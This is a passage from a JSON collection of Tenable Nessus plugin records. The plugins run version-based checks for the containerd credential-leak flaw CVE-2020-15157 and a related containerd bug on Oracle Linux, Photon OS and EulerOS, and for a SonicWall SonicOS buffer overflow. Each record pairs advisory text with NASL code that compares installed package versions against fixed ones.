script_name(english:\"Oracle Linux 7 : docker-engine / docker-cli (ELSA-2020-5900)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Oracle Linux host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Oracle Linux 7 host has packages installed that are affected by a vulnerability as referenced in the\nELSA-2020-5900 advisory.\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking\n vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format\n includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the\n default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or\n later, the default containerd resolver will provide its authentication credentials if the server where the\n URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker\n publishes a public image with a manifest that directs one of the layers to be fetched from a web server\n they control and they trick a user or system into pulling the image, they can obtain the credentials used\n for pulling that image. In some cases, this may be the user's username and password for the registry. In\n other cases, this may be the credentials attached to the cloud virtual instance which can grant access to\n other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin\n (which can be used by Kubernetes), the ctr development tool, and other client programs that have\n explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and\n later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using\n cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker)\n are not affected. (CVE-2020-15157)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://linux.oracle.com/errata/ELSA-2020-5900.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected docker-cli and / or docker-engine packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-15157\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/10/28\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/10/28\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:linux:7\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:docker-cli\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:docker-engine\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Oracle Linux Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/OracleLinux\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/local_checks_enabled\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item('Host/OracleLinux')) audit(AUDIT_OS_NOT, 'Oracle Linux');\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || !pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux)\", string:release)) audit(AUDIT_OS_NOT, 'Oracle Linux');\nos_ver = pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux) .*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Oracle Linux');\nos_ver = os_ver[1];\nif (! preg(pattern:\"^7([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, 'Oracle Linux 7', 'Oracle Linux ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Oracle Linux', cpu);\nif ('x86_64' >!< cpu) audit(AUDIT_ARCH_NOT, 'x86_64', cpu);\n\npkgs = [\n {'reference':'docker-cli-19.03.11.ol-6.el7', 'cpu':'x86_64', 'release':'7'},\n {'reference':'docker-engine-19.03.11.ol-6.el7', 'cpu':'x86_64', 'release':'7'}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n rpm_prefix = NULL;\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'EL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (!empty_or_null(package_array['rpm_prefix'])) rpm_prefix = package_array['rpm_prefix'];\n if (reference && release) {\n if (rpm_prefix) {\n if (rpm_exists(release:release, rpm:rpm_prefix) && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n } else {\n if (rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n }\n}\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_NOTE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'docker-cli / docker-engine');\n}", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-08-19T12:12:16", "description": "An update of the containerd package has been released.", "cvss3": {"score": 6.1, "vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}, "published": "2020-10-23T00:00:00", "type": "nessus", "title": "Photon OS 2.0: Containerd PHSA-2020-2.0-0292", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157"], "modified": "2021-03-18T00:00:00", "cpe": ["p-cpe:/a:vmware:photonos:containerd", "cpe:/o:vmware:photonos:2.0"], "id": "PHOTONOS_PHSA-2020-2_0-0292_CONTAINERD.NASL", "href": "https://www.tenable.com/plugins/nessus/141858", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from VMware Security Advisory PHSA-2020-2.0-0292. The text\n# itself is copyright (C) VMware, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(141858);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/18\");\n\n script_cve_id(\"CVE-2020-15157\");\n\n script_name(english:\"Photon OS 2.0: Containerd PHSA-2020-2.0-0292\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote PhotonOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"An update of the containerd package has been released.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://github.com/vmware/photon/wiki/Security-Updates-2-292.md\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected Linux packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-15157\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/10/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/10/23\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:vmware:photonos:containerd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:vmware:photonos:2.0\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"PhotonOS Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/PhotonOS/release\", \"Host/PhotonOS/rpm-list\");\n\n exit(0);\n}\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item('Host/PhotonOS/release');\nif (isnull(release) || release !~ \"^VMware Photon\") audit(AUDIT_OS_NOT, 'PhotonOS');\nif (release !~ \"^VMware Photon (?:Linux|OS) 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, 'PhotonOS 2.0');\n\nif (!get_kb_item('Host/PhotonOS/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'PhotonOS', cpu);\n\nflag = 0;\n\nif (rpm_check(release:'PhotonOS-2.0', cpu:'x86_64', reference:'containerd-1.2.14-1.ph2')) flag++;\nif (rpm_check(release:'PhotonOS-2.0', cpu:'x86_64', reference:'containerd-doc-1.2.14-1.ph2')) flag++;\nif (rpm_check(release:'PhotonOS-2.0', cpu:'x86_64', reference:'containerd-extras-1.2.14-1.ph2')) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_NOTE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'containerd');\n}\n", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-08-19T12:11:35", "description": "The remote Oracle Linux 7 host has a package installed that is affected by a vulnerability as referenced in the ELSA-2020-5906 advisory.\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 6.1, "vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}, "published": "2020-11-03T00:00:00", "type": "nessus", "title": "Oracle Linux 7 : containerd (ELSA-2020-5906)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157"], "modified": "2021-03-18T00:00:00", "cpe": ["cpe:/o:oracle:linux:7", "p-cpe:/a:oracle:linux:containerd"], "id": "ORACLELINUX_ELSA-2020-5906.NASL", "href": "https://www.tenable.com/plugins/nessus/142222", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Oracle Linux Security Advisory ELSA-2020-5906.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(142222);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/18\");\n\n script_cve_id(\"CVE-2020-15157\");\n\n script_name(english:\"Oracle Linux 7 : containerd (ELSA-2020-5906)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Oracle Linux host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Oracle Linux 7 host has a package installed that is affected by a vulnerability as referenced in the\nELSA-2020-5906 advisory.\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking\n vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format\n includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the\n default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or\n later, the default containerd resolver will provide its authentication credentials if the server where the\n URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker\n publishes a public image with a manifest that directs one of the layers to be fetched from a web server\n they control and they trick a user or system into pulling the image, they can obtain the credentials used\n for pulling that image. In some cases, this may be the user's username and password for the registry. In\n other cases, this may be the credentials attached to the cloud virtual instance which can grant access to\n other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin\n (which can be used by Kubernetes), the ctr development tool, and other client programs that have\n explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and\n later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using\n cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker)\n are not affected. (CVE-2020-15157)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://linux.oracle.com/errata/ELSA-2020-5906.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected containerd package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-15157\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/16\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/11/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/11/03\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:linux:7\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:containerd\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Oracle Linux Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/OracleLinux\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/local_checks_enabled\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item('Host/OracleLinux')) audit(AUDIT_OS_NOT, 'Oracle Linux');\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || !pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux)\", string:release)) audit(AUDIT_OS_NOT, 'Oracle Linux');\nos_ver = pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux) .*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Oracle Linux');\nos_ver = os_ver[1];\nif (! preg(pattern:\"^7([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, 'Oracle Linux 7', 'Oracle Linux ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Oracle Linux', cpu);\nif ('x86_64' >!< cpu) audit(AUDIT_ARCH_NOT, 'x86_64', cpu);\n\npkgs = [\n {'reference':'containerd-1.2.14-1.0.1.el7', 'cpu':'x86_64', 'release':'7'}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n rpm_prefix = NULL;\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'EL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (!empty_or_null(package_array['rpm_prefix'])) rpm_prefix = package_array['rpm_prefix'];\n if (reference && release) {\n if (rpm_prefix) {\n if (rpm_exists(release:release, rpm:rpm_prefix) && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n } else {\n if (rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n }\n}\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_NOTE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'containerd');\n}", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-06-23T15:08:15", "description": "According to its self-reported version, the remote SonicWall firewall is running a version of SonicOS that is affected by a buffer overflow vulnerability, allowing a remote attacker to cause Denial of Service (DoS), and potentially execute arbitrary code by sending a malicious request to the firewall. This vulnerability affected SonicOS Gen 6 version 6.5.4.7, 6.5.1.12, 6.0.5.3, SonicOSv 6.5.4.v and Gen 7 version 7.0.0.0.\n\nNote that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-10-16T00:00:00", "type": "nessus", "title": "SonicWall SonicOS Buffer Overflow Vulnerability", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2022-03-28T00:00:00", "cpe": ["cpe:/o:sonicwall:sonicos"], "id": "SONICWALL_SNWLID-2020-0010.NASL", "href": "https://www.tenable.com/plugins/nessus/141474", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(141474);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/03/28\");\n\n script_cve_id(\"CVE-2020-5135\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/04/05\");\n\n script_name(english:\"SonicWall SonicOS Buffer Overflow Vulnerability\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is affected by a Buffer Overflow vulnerability, leading to Denial of Service, \nand potentially to Arbitrary Code Execution.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its self-reported version, the remote SonicWall firewall is running a version of SonicOS that is affected\nby a buffer overflow vulnerability, allowing a remote attacker to cause Denial of Service (DoS), \nand potentially execute arbitrary code by sending a malicious request to the firewall. \nThis vulnerability affected SonicOS Gen 6 version 6.5.4.7, 6.5.1.12, 6.0.5.3, SonicOSv 6.5.4.v \nand Gen 7 version 7.0.0.0.\n\nNote that Nessus has not tested for these issues but has instead relied only on the application's self-reported version\nnumber.\");\n # https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0010\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?c667b9f5\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to the relevant fixed version referenced in the vendor security advisory.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-5135\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/10/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/10/16\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"combined\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:sonicwall:sonicos\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Firewalls\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"os_fingerprint.nasl\");\n script_require_keys(\"Host/OS\");\n\n exit(0);\n}\n\nos = get_kb_item_or_exit(\"Host/OS\");\nif (os !~ \"^SonicOS\" ) audit(AUDIT_OS_NOT, \"SonicWall SonicOS\");\n\n# SonicOS Enhanced 6.0.5.3-94o on a SonicWALL NSA 220\nmatch = pregmatch(pattern:\"^SonicOS(?: Enhanced)? (([0-9.]+)(-[^ ]*)?) on a SonicWALL\", string:os);\nif (isnull(match)) exit(1, \"Failed to identify the version of SonicOS.\");\nversion = match[1];\n\nfix = NULL;\n\n\nif (version =~ \"^6\\.\")\n{\n # SonicOS 6.0.5.3-93o and earlier\n # fixex in SonicOS 6.0.5.3-94o\n if (version =~ \"^6\\.0\\.5\\.3-([0-8]?[0-9]|9[0-3])o\")\n fix = \"6.0.5.3-94o\"; \n # SonicOS 6.5.1.11-4n and earlier\n # fixed in SonicOS 6.5.1.12-1n\n else if (version =~ \"^6\\.5\\.1\\.11-\\d+n\")\n fix = \"SonicOS 6.5.1.12-1n\";\n # SonicOS 6.5.4.7-79n and earlier\n # fixed in SonicOS 6.5.4.7-83n\n else if (version =~ \"^6\\.5\\.4\\.7-[0-7]?[0-9]n\")\n fix = \"6.5.4.7-83n\";\n # SonicOSv 6.5.4.4-44v-21-794 and earlier\n # fixed in SonicOS 6.5.4.v-21s-987\n # XXX not sure how I can check for this version,\n # as version and fix formats look different\n #else if (version =~ \"^6\\.5\\.4\\.4\")\n # fix = \"6.5.4.v-21s-987\";\n}\n# SonicOS 7.0.0.0-1\n# fixed in 7.0.0.0-2\nelse if (version =~ \"^7\\.0\\.0\\.0-[01]$\")\n{\n fix = \"7.0.0.0-2\";\n}\n\nif (isnull(fix))\n audit(AUDIT_DEVICE_NOT_VULN, \"SonicWALL \", \"SonicOS \" + version);\n#if (ver_compare(ver:version, fix:fix, strict:FALSE) < 0)\nelse\n{\n port = 0;\n report =\n '\\n Installed SonicOS version : ' + version +\n '\\n Fixed SonicOS version : ' + fix +\n '\\n';\n\n security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);\n}\n\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-21T06:01:34", "description": "According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources.\n Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected. (CVE-2020-15157)\n\n - containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host's filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. This bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with specific files. (CVE-2021-32760)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 6.3, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L"}, "published": "2022-04-20T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP10 : docker-engine (EulerOS-SA-2022-1501)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-15157", "CVE-2021-32760"], "modified": "2022-04-20T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:docker-engine", "p-cpe:/a:huawei:euleros:docker-engine-selinux", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2022-1501.NASL", "href": "https://www.tenable.com/plugins/nessus/160004", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(160004);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/04/20\");\n\n script_cve_id(\"CVE-2020-15157\", \"CVE-2021-32760\");\n\n script_name(english:\"EulerOS 2.0 SP10 : docker-engine (EulerOS-SA-2022-1501)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the docker-engine packages installed, the EulerOS installation on the remote host is\naffected by the following vulnerabilities :\n\n - In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking\n vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format\n includes a URL for the location of a specific image layer (otherwise known as a foreign layer), the\n default containerd resolver will follow that URL to attempt to 